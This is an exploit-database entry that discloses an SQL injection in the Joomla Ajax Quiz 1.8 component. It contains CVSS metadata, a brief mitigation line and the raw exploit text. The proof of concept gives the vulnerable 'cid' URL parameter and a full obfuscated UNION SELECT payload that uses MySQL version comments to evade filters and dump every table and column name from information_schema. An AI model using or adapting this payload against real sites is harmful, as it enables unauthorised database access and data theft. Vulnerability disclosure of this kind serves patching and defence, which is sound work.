Joomla! Component Ajax Quiz 1.8 - SQL Injection

vendor:

Ajax Quiz

by:

Ihsan Sencan

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Ajax Quiz

Affected Version From: 1.8

Affected Version To: 1.8

Patch Exists: NO

Related CWE: N/A

CPE: a:webkul:ajaxquiz:1.8

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2017

Joomla! Component Ajax Quiz 1.8 – SQL Injection

The vulnerability allows an attacker to inject sql commands. An example of the exploit is provided in the text.

Mitigation:

Input validation and sanitization should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# # # # #
# Exploit Title: Joomla! Component Ajax Quiz 1.8 - SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://webkul.com/
# Software Link: https://extensions.joomla.org/extensions/extension/living/education-a-culture/ajaxquiz/
# Demo: http://joomla30.webkul.com/ajaxquiz/
# Version: 1.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_ajaxquiz&view=ajaxquiz&cid=[SQL]
# 
# 60+union+select+(/*!00000SeLect*/(@x)/*!00000fRom*/(/*!00000select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!00000select*/(0)/*!00000from*/(information_schema.columns)/*!00000where*/(table_schema=database())and(0x00)in(@x:=/*!00000CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!00000CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number+1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z+1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x)--+-
#
# Etc..
# # # # #